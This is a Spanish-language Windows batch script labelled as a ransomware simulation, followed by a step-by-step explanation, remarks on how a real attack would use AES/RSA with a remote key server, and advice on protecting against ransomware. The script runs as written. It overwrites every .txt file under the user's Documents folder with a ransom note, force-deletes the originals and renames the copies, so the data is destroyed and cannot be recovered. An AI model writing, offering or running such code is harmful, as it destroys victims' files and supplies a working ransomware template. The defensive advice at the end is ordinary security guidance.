@echo off

REM Carpeta objetivo (Ejemplo: Documentos del usuario)

set "target\_folder=C:\Users\%username%\Documents"

REM Extensión de los archivos a afectar

set "file\_extension=txt"

REM Mensaje de inicio

echo Iniciando cifrado de archivos en %target\_folder%...

timeout /t 2

REM Bucle para cifrar archivos

for /r "%target\_folder%" %%f in (\*.%file\_extension%) do (

echo Procesando archivo: %%f

REM Cambiar contenido del archivo (simulación de cifrado)

> "%%f.tmp" (

echo Este archivo ha sido cifrado. Contacta con admin@malware.com para recuperarlo.

)

del /f /q "%%f" REM Eliminar el archivo original

rename "%%f.tmp" "%%~nf.cifrado" REM Renombrar con nueva extensión

)

REM Mensaje final

echo Todos los archivos con la extensión .%file\_extension% han sido cifrados.

echo Contacta con admin@malware.com para descifrar los archivos.

Pause

**¿Qué hace este script?**

1. **Define el directorio objetivo (target\_folder)**:
   * El script apunta a la carpeta de documentos del usuario actual.
2. **Procesa archivos con una extensión específica**:
   * Busca todos los archivos con la extensión .txt en la carpeta objetivo y subcarpetas (for /r).
3. **Modifica el contenido**:
   * Escribe un mensaje en un nuevo archivo temporal (%%f.tmp) indicando que el archivo ha sido "cifrado".
4. **Elimina el archivo original**:
   * Utiliza del /f /q para eliminar el archivo original.
5. **Renombra el archivo ofuscado**:
   * Cambia el nombre del archivo temporal y le asigna una nueva extensión (.cifrado).
6. **Mensajes al usuario**:
   * Muestra mensajes indicando que los archivos han sido "cifrados" y proporciona un supuesto contacto.

**¿Cómo sería un ataque más realista?**

Un ataque más realista implementaría algoritmos de cifrado reales (como AES-256 o RSA) utilizando scripts más avanzados en lenguajes como Python, PowerShell o incluso ejecutables binarios. Estos scripts cifrarían los archivos utilizando una clave privada y almacenarían la clave en un servidor remoto para impedir que las víctimas descifren los archivos sin pagar un rescate.

**Consecuencias de un ransomware real:**

* **Archivos inutilizables**:
  + Los archivos cifrados no pueden abrirse sin la clave correcta.
* **Mensajes de rescate**:
  + Normalmente aparece un mensaje exigiendo un pago (en criptomonedas) para recuperar la clave de descifrado.
* **Impacto en sistemas críticos**:
  + Puede paralizar negocios enteros si afecta a servidores o sistemas esenciales.

**¿Cómo protegerse contra ransomware?**

1. **Realizar copias de seguridad regulares**:
   * Almacenar copias fuera de línea o en servicios de almacenamiento en la nube seguros.
2. **Mantener el software actualizado**:
   * Actualizar sistemas operativos, aplicaciones y antivirus para protegerse contra vulnerabilidades conocidas.
3. **Configurar políticas de acceso**:
   * Restringir el acceso a carpetas críticas y minimizar los privilegios de usuario.
4. **No ejecutar scripts desconocidos**:
   * Nunca abrir archivos .bat u otros scripts de fuentes desconocidas.
5. **Monitoreo y respuesta**:
   * Implementar soluciones de monitoreo que detecten actividad sospechosa en tiempo real.

Este tipo de amenazas es real y altamente dañino, por lo que siempre se debe manejar con cautela cualquier tipo de script o programa desconocido en un sistema.